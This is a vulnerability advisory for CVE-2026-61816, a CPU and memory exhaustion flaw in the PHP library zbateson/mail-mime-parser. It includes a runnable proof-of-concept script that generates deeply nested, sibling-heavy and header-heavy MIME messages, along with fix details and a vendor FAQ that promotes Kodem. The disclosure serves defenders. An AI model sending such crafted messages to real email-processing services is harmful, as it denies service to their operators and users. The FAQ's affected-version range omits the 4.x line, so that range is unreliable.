CVE-2026-61816

zbateson/mail-mime-parser has uncontrolled resource consumption (CPU/memory DoS) parsing untrusted MIME

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-61816 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.6, 4.0.2); upgrading removes the vulnerable code path.

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Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

1. What is CVE-2026-61816? CVE-2026-61816 is a high-severity uncontrolled resource consumption vulnerability in zbateson/mail-mime-parser (composer), affecting versions >= 2.0.0, < 3.0.6. It is fixed in 3.0.6, 4.0.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-61816? CVE-2026-61816 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of zbateson/mail-mime-parser are affected by CVE-2026-61816? zbateson/mail-mime-parser (composer) versions >= 2.0.0, < 3.0.6 is affected.
4. Is there a fix for CVE-2026-61816? Yes. CVE-2026-61816 is fixed in 3.0.6, 4.0.2. Upgrade to this version or later.
5. Is CVE-2026-61816 exploitable, and should I be worried? Whether CVE-2026-61816 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-61816 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-61816?
   • Upgrade zbateson/mail-mime-parser to 3.0.6 or later
   • Upgrade zbateson/mail-mime-parser to 4.0.2 or later

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